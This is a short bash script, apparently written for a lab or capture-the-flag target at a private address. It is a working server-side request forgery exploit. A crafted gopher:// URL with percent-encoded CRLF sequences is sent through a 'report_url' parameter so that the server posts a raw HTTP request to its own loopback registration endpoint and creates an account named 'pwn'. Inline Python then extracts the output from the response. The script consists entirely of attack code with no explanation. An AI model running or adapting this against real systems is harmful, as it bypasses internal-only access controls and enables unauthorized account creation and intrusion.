#!/bin/bash
# SSRF gopher:// -> loopback registration (percent-encoded CRLF so curl accepts/decodes)
BODY='{"username":"pwn","password":"pwn123"}'
CLEN=${#BODY}
REQ="POST%20/api/users/registration.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:%20application/json%0d%0aContent-Length:%20${CLEN}%0d%0aConnection:%20close%0d%0a%0d%0a${BODY}"
curl -sS -m 15 -X POST --data-urlencode "report_url=gopher://127.0.0.1:80/_${REQ}" http://192.168.1.119/sync.php \
 | python3 -c "
import sys,html,re
t=sys.stdin.read()
m=re.search(r'data-output[^>]*>(.*?)</div>',t,re.S)
print(html.unescape(m.group(1)) if m else '[no output]')
e=re.search(r'Telemetry failure[^<]*',t)
if e: print('[CURL]',e.group(0))
"